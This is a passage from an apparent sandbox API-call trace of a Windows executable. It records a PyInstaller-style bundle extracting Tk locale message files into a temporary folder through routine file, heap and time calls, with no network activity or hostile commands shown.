lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.675] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.675] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.675] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.675] CloseHandle (hObject=0x10c) returned 1 [0044.675] GetLastError () returned 0x0 [0044.675] SetLastError (dwErrCode=0x0) [0044.675] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.675] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.675] GetFileType (hFile=0x10c) returned 0x1 [0044.675] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.675] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.675] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.675] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.675] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.675] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.676] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.676] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.676] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.676] CloseHandle (hObject=0x10c) returned 1 [0044.676] GetLastError () returned 0x0 [0044.676] SetLastError (dwErrCode=0x0) [0044.676] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\pl.msg") returned 60 [0044.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\pl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\pl.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.676] GetLastError () returned 0x2 [0044.676] SetLastError (dwErrCode=0x2) [0044.676] GetLastError () returned 0x2 [0044.676] SetLastError (dwErrCode=0x2) [0044.676] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\pl.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\pl.msg", lpFilePart=0x0) returned 0x3b [0044.676] GetLastError () returned 0x2 [0044.676] SetLastError (dwErrCode=0x2) [0044.676] GetLastError () returned 0x2 [0044.676] SetLastError (dwErrCode=0x2) [0044.676] GetLastError () returned 0x2 [0044.676] SetLastError (dwErrCode=0x2) [0044.676] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\pl.msg") returned 60 [0044.676] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\pl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\pl.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.715] GetFileType (hFile=0x10c) returned 0x1 [0044.715] htonl (hostlong=0x700f0000) returned 0xf70 [0044.715] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.715] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xf70, lpOverlapped=0x0) returned 1 [0044.716] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.716] CloseHandle (hObject=0x10c) returned 1 [0044.716] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.716] htonl (hostlong=0x30000000) returned 0x30 [0044.716] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.716] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.716] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.716] GetFileType (hFile=0x10c) returned 0x1 [0044.716] htonl (hostlong=0x32485f00) returned 0x5f4832 [0044.716] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63f832, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.716] htonl (hostlong=0x2040000) returned 0x402 [0044.716] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x402) returned 0x550600 [0044.716] htonl (hostlong=0x2040000) returned 0x402 [0044.716] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.716] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.718] htonl (hostlong=0x850f0000) returned 0xf85 [0044.718] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf85) returned 0x562098 [0044.718] htonl (hostlong=0x2040000) returned 0x402 [0044.718] htonl (hostlong=0x850f0000) returned 0xf85 [0044.718] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563028 [0044.718] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563028 | out: hHeap=0x530000) returned 1 [0044.718] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.718] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.718] CloseHandle (hObject=0x10c) returned 1 [0044.718] GetLastError () returned 0x0 [0044.718] SetLastError (dwErrCode=0x0) [0044.718] GetLastError () returned 0x0 [0044.718] SetLastError (dwErrCode=0x0) [0044.718] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.718] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.718] GetFileType (hFile=0x10c) returned 0x1 [0044.718] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.718] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.718] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.718] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.718] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.718] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.718] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.718] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.718] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.719] CloseHandle (hObject=0x10c) returned 1 [0044.719] GetLastError () returned 0x0 [0044.719] SetLastError (dwErrCode=0x0) [0044.719] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.719] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.719] GetFileType (hFile=0x10c) returned 0x1 [0044.719] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.719] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.719] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.719] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.719] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.719] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.719] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.719] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.719] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.719] CloseHandle (hObject=0x10c) returned 1 [0044.719] GetLastError () returned 0x0 [0044.719] SetLastError (dwErrCode=0x0) [0044.719] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\pt.msg") returned 60 [0044.719] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\pt.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\pt.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.719] GetLastError () returned 0x2 [0044.719] SetLastError (dwErrCode=0x2) [0044.719] GetLastError () returned 0x2 [0044.719] SetLastError (dwErrCode=0x2) [0044.719] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\pt.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\pt.msg", lpFilePart=0x0) returned 0x3b [0044.719] GetLastError () returned 0x2 [0044.720] SetLastError (dwErrCode=0x2) [0044.720] GetLastError () returned 0x2 [0044.720] SetLastError (dwErrCode=0x2) [0044.720] GetLastError () returned 0x2 [0044.720] SetLastError (dwErrCode=0x2) [0044.720] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\pt.msg") returned 60 [0044.720] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.720] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\pt.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\pt.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.720] GetFileType (hFile=0x10c) returned 0x1 [0044.720] htonl (hostlong=0x850f0000) returned 0xf85 [0044.720] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.720] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xf85, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xf85, lpOverlapped=0x0) returned 1 [0044.721] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.721] CloseHandle (hObject=0x10c) returned 1 [0044.721] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.722] htonl (hostlong=0x30000000) returned 0x30 [0044.722] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.722] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.722] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.722] GetFileType (hFile=0x10c) returned 0x1 [0044.722] htonl (hostlong=0x344c5f00) returned 0x5f4c34 [0044.722] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63fc34, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.722] htonl (hostlong=0x44050000) returned 0x544 [0044.722] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x544) returned 0x550600 [0044.722] htonl (hostlong=0x44050000) returned 0x544 [0044.722] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.723] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.723] htonl (hostlong=0xc11b0000) returned 0x1bc1 [0044.723] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bc1) returned 0x562098 [0044.723] htonl (hostlong=0x44050000) returned 0x544 [0044.723] htonl (hostlong=0xc11b0000) returned 0x1bc1 [0044.723] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563c68 [0044.723] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563c68 | out: hHeap=0x530000) returned 1 [0044.723] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.723] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.723] CloseHandle (hObject=0x10c) returned 1 [0044.724] GetLastError () returned 0x0 [0044.724] SetLastError (dwErrCode=0x0) [0044.724] GetLastError () returned 0x0 [0044.724] SetLastError (dwErrCode=0x0) [0044.724] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.724] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.724] GetFileType (hFile=0x10c) returned 0x1 [0044.724] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.724] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.724] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.724] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.724] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.724] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.724] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.724] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.724] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.724] CloseHandle (hObject=0x10c) returned 1 [0044.724] GetLastError () returned 0x0 [0044.724] SetLastError (dwErrCode=0x0) [0044.724] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.724] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.724] GetFileType (hFile=0x10c) returned 0x1 [0044.724] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.724] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.724] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.725] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.725] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.725] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.725] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.725] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.725] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.725] CloseHandle (hObject=0x10c) returned 1 [0044.725] GetLastError () returned 0x0 [0044.725] SetLastError (dwErrCode=0x0) [0044.725] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\ru.msg") returned 60 [0044.725] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\ru.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\ru.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.725] GetLastError () returned 0x2 [0044.725] SetLastError (dwErrCode=0x2) [0044.725] GetLastError () returned 0x2 [0044.725] SetLastError (dwErrCode=0x2) [0044.725] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\ru.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\ru.msg", lpFilePart=0x0) returned 0x3b [0044.725] GetLastError () returned 0x2 [0044.725] SetLastError (dwErrCode=0x2) [0044.725] GetLastError () returned 0x2 [0044.725] SetLastError (dwErrCode=0x2) [0044.725] GetLastError () returned 0x2 [0044.725] SetLastError (dwErrCode=0x2) [0044.725] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\ru.msg") returned 60 [0044.725] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.725] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\ru.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\ru.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.726] GetFileType (hFile=0x10c) returned 0x1 [0044.726] htonl (hostlong=0xc11b0000) returned 0x1bc1 [0044.726] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.727] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.727] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xbc1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xbc1, lpOverlapped=0x0) returned 1 [0044.752] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.752] CloseHandle (hObject=0x10c) returned 1 [0044.752] HeapFree (in: hHeap=0x530000, dwFlags=0x0, 